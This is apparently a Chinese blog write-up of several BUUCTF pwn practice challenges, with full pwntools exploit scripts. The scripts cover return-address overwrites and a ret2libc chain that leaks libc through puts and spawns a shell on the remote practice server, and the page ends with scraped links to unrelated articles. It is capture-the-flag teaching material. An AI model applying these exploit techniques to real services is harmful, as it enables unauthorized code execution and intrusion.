pwn好难啊

PWN

1,连上就有flag的pwn
nc buuoj.cn 6000得到flag

2,RIP覆盖一下
用ida分析一下,

发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本

from pwn import*
sh=remote('f.buuoj.cn',6001)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()

得到flag

3,warmup_csaw_2016

先拖进ida

找到了system地址

下载libc.so

用peda

找到ebp位置,需覆盖64+8字节,写脚本

from pwn import*
#sh=process('/home/harmonica/Desktop/warmup_csaw_2016.dms' )
sh=remote('pwn.buuoj.cn',20035)
payload='a'*72+p64(0x40060D)
sh.sendline(payload)
sh.interactive()

得到flag

4,ciscn_2019_c_1

栈溢出,查看保护

经过分析,需覆盖0x58字节,本来这题想不用给的libc,但用LibcSearcher找不到这个libc,还是去下了一份

查到/bin/sh位置

写脚本

from pwn import *
from LibcSearcher import LibcSearcher sh=remote('pwn.buuoj.cn',20115)
#sh=process('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
ciscn=ELF('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
libc=ELF('/home/harmonica/Desktop/x64_libc.so.6') def send(content):
sh.recvuntil('Input your choice!\n')
sh.sendline('')
sh.recvuntil('Input your Plaintext to be encrypted\n')
sh.sendline(content) puts_plt=ciscn.plt['puts']
puts_got=ciscn.got['puts']
main=ciscn.symbols['main']
pop_rdi=0x400c83 payload ='A' * 0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
send(payload) sh.recvuntil('@\n')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
#libc=LibcSearcher('puts', puts_addr)
libcbase=puts_addr-libc.sym['puts']
log.success("libcbase: "+hex(libcbase)) system_addr=libcbase+libc.sym['system']
binsh_addr=libcbase+0x18cd57 payload ='A'*0x58+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
send(payload) sh.interactive()

得到flag

5, pwn1_sctf_2016

拖进ida,c++程序,找到主函数

程序中带了system

运行程序

当输入'I'时会转换为‘you’

fgets溢出,写exp

from pwn import *

sh=remote('pwn.buuoj.cn',20086)
get_flag=0x08048F0D payload='I'*0x14+'a'*4+p32(get_flag)
sh.sendline(payload) sh.interactive()

得到flag

BUUCTF PWN部分题目wp的更多相关文章

  1. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  2. BUUCTF MISC部分题目wp

    MISC这里是平台上比较简单的misc,都放在一起,难一些的会单独写1,二维码图片里藏了一个压缩包,用binwalk -e分离,提示密码为4个数字,fcrackzip -b -c1 -l 4 -u 得 ...

  3. BUUCTF CRYPTO部分题目wp

    对密码学了解不多,做一下熟悉熟悉 1,看我回旋踢 给的密文synt{5pq1004q-86n5-46q8-o720-oro5on0417r1} 简单的凯撒密码,用http://www.zjslove. ...

  4. BUUCTF RE部分题目wp

    RE 1,easyre拖进ida,得到flag 2,helloworld 将文件拖入apk改之理,得到flag 3,xor拖进ida,就是简单异或,写脚本 glo=[0x66,0x0a,0x6b,0x ...

  5. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  6. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  7. 使用pwn_deploy_chroot部署国赛pwn比赛题目

    目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...

  8. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  9. [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...

随机推荐

  1. java并发编程之美-阅读记录2

    2.1什么是多线程并发编程 并发:是指在同一时间段内,多个任务同时在执行,并且执行没有结束(同一时间段又包括多个单位时间,也就是说一个cpu执行多个任务) 并行:是指在单位时间内多个任务在同时执行(也 ...

  2. firmware

    路由器固件分析题,首先要安装firmware-mod-kit 安装命令: linux> sudo apt-get install git build-essential zlib1g-dev l ...

  3. 如何将自己的代码上传至github

    前提条件: 有个github账号,电脑安装了git; 首先在自己的账号里新建一个仓库: https://github.com/qiqi105/littleAlbum.git 进入到你要上传的文件夹内部 ...

  4. RxJava的学习与实现

    RxJava 要在Android中使用RxJava2, 先添加Gradle配置: compile 'io.reactivex.rxjava2:rxjava:2.0.1' compile 'io.rea ...

  5. CentOS7.6系统安装详解(含真机装系统的采坑之旅)!

    刚开始学习linux操作系统是总是很茫然,无所适从,以下是自己总结的工作经验,仅供参考! 一.准备资源 安装前需要准备的资源有linux系统centos7.6发行版系统镜像,vmware workst ...

  6. python socket的长连接和短连接

    前言 socket中意为插座,属于进程间通信的一种方式.socket库隐藏了底层,让我们更好的专注于逻辑.如果短连接和长连接两概率没搞明白,会被坑的爬不起来. 短连接 一次完整的传输过程,发送方输出流 ...

  7. 自从学会了 Array.reduce() ,再也离不开它

    (转载)原文链接:https://juejin.im/post/5dfd9d27e51d455825129ec3   在所有后 ES6 时代的数组方法中,我觉得最难理解的就是Array.reduce( ...

  8. #2560异或和问题 jdfz集训—秦岳

    题目描述 N个数字,要求选择M次,每次从N个数中选出两个数(Ai,Aj)(但不能和之前某次选择相同),此次选择的得分为Ai xor Aj. 求最大得分. 输入格式 第一行包含两个整数N,M 接下来一行 ...

  9. 【Java学习笔记】2015.1.5

    1.classpath中的“.”表示当前的路径,所以配置classpath时要注意不能忘了“.”.如果不注意,会出现cmd下运行程序时,.java文件可以编译但是不能运行: 一般的classpath配 ...

  10. VSCode中行数与代码之间用点点点代替

    在settings.json中添加一行 "editor.renderWhitespace": "all"